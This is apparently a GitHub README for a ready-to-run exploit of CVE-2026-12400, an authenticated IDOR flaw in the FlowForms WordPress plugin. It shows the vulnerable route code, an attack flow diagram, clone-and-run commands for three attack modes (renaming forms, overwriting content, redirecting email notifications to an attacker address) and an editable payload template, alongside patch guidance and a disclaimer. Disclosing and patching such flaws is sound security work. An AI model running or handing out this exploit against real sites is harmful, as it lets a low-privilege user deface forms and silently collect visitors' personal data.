
Authenticated WordPress IDOR exploit for CVE-2026-12400; enumerates FlowForms REST form IDs and modifies form content or hijacks email notifications.
| Property | Value |
|---|
| CVE ID | CVE-2026-12400 |
| CVSS Score | 4.3 — Medium |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N |
| CWE | CWE-639 (Authorization Bypass Through User-Controlled Key) |
| Product | FlowForms — WordPress Conversational Form Builder Plugin |
| Affected | All versions up to and including 1.1.1 |
| Fixed In | Fixed in 1.1.2 |
| Researcher | Phantom Hat |
Full white-box case study with source code analysis, input flow tracing, and patch diffing:
FlowForms exposes two REST API endpoints under the flowforms/v1 namespace that are vulnerable:
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings
Both accept a user-controlled {id} in the URL path and modify the target form's data — name, content, layout, redirect URL, and email notification recipients.
Both vulnerable route registrations share the same flawed permission_callback:
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_form'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
'methods' => WP_REST_Server::EDITABLE,
'callback' => [$this, 'update_settings'],
'permission_callback' => fn() => current_user_can('edit_posts'),
]);
edit_posts is a capability held by Contributors. The {id} parameter is never checked against the requesting user's ownership — any authenticated user can target any form ID on the site.
Attacker (Contributor) FlowForms REST API
│ │
│── POST /wp-login.php ────────────>│ (1) Authenticate as Contributor
│<─ wordpress_logged_in cookie ─────│
│ │
│── GET /wp-admin/post-new.php ────>│ (2) Harvest REST nonce
│<─ wpApiSettings.nonce ────────────│
│ │
│── GET /flowform/{id} ────────────>│ (3) Enumerate published forms
│<─ HTTP 200 ───────────────────────│ (any accessible form is a target)
│ │
│── POST /flowforms/v1/forms/{id} │ (4a) Overwrite form name / content
│ with attacker payload ─────>│ ← no owner check
│<─ { "success": true } ────────────│
│ │
│── POST /flowforms/v1/forms/{id} │ (4b) Hijack email notifications
│ /settings ─────────────────>│ ← attacker receives all
│<─ { "success": true } ────────────│ future form submissions
│ │
│ All 3 attack vectors confirmed │ (5) Name ✔ Content ✔ Email ✔
| Mode | Endpoint | Impact |
|---|---|---|
name | /forms/{id} | Rename any form — defacement, social engineering |
content | /forms/{id} | Overwrite layout, welcome/thank-you screens, redirect URL |
email | /forms/{id}/settings | Hijack notification email — silently receive all form submissions |
The email mode is the most critical. After hijacking, every submission to the victim's contact form — including visitor PII, messages, and contact details — is silently forwarded to the attacker-controlled address. The site administrator sees no indication of the change.
Contributor role on the target sitegit clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt
Rename any form to attacker-controlled content:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit name
Overwrite form layout, screens, redirect URL, and background images:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit content
Redirect all future form submission notifications to an attacker-controlled address:
python3 exploit.py \
-u http://TARGET \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
python3 exploit.py \
-u http://TARGET \
-p http://127.0.0.1:8080 \
--user contributor \
--password password123 \
-i 1 -n 100 \
--exploit email
| Flag | Short | Description | Required |
|---|---|---|---|
--url | -u | Target WordPress URL | ✅ |
--user | WordPress username (Contributor+) | ✅ | |
--password | WordPress password | ✅ | |
--id-start | -i | Starting form ID for enumeration | ✅ |
--num-forms | -n | Number of form IDs to enumerate | ✅ |
--exploit | Attack mode: name / content / email | ✅ | |
--proxy | -p | Proxy URL (e.g. http://127.0.0.1:8080) | ❌ |
The JSON payload templates (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) are defined at the top of the script. Edit them before running to customise the attack content — change the notification email address, redirect URL, background image, form title, etc.
# Top of exploit.py
EMAIL_EDIT = json.loads("""{
"settings": {
"email": {
"enabled": true,
"notifications": {
"1": {
"email": "[email protected]", # ← change this
...
}
}
}
}
}""")
The exploit performs three automated steps:
Step 1 — Authenticate
Logs in as the attacker (Contributor) and harvests a valid REST API nonce from wp-admin/post-new.php.
Step 2 — Enumerate Forms
Scans GET /flowform/{id} across the specified ID range. IDs returning HTTP 200 are collected as accessible targets — these are published forms belonging to any user on the site, including administrators.
Step 3 — Exploit Depending on the selected mode, sends the corresponding payload to the unprotected REST endpoint:
name / content → POST /flowforms/v1/forms/{id}email → POST /flowforms/v1/forms/{id}/settingsThe server accepts the request and applies the modification with no ownership check.
| Action | Details |
|---|---|
| Patch | Replace the generic edit_posts check with current_user_can('edit_post', $form_id) on both endpoints — binding the capability check to the specific post object enforces WordPress ownership rules |
| Mitigate | Until patched, restrict the Contributor and Author roles if the plugin is active |
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),
// SECURE (patched)
private function can_edit_form($form_id) {
return current_user_can('edit_post', $form_id);
}
'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py # Polished exploit with rich UI (3 modes)
├── requirements.txt # Python dependencies
└── README.md # This file
This tool is provided for authorized security testing and educational research purposes only. Unauthorized access to computer systems is illegal under applicable laws worldwide. The author assumes no liability for misuse of this software. Always obtain explicit written permission before testing any system you do not own.
Phantom Hat — Independent Security Researcher
This research was conducted as part of responsible vulnerability disclosure.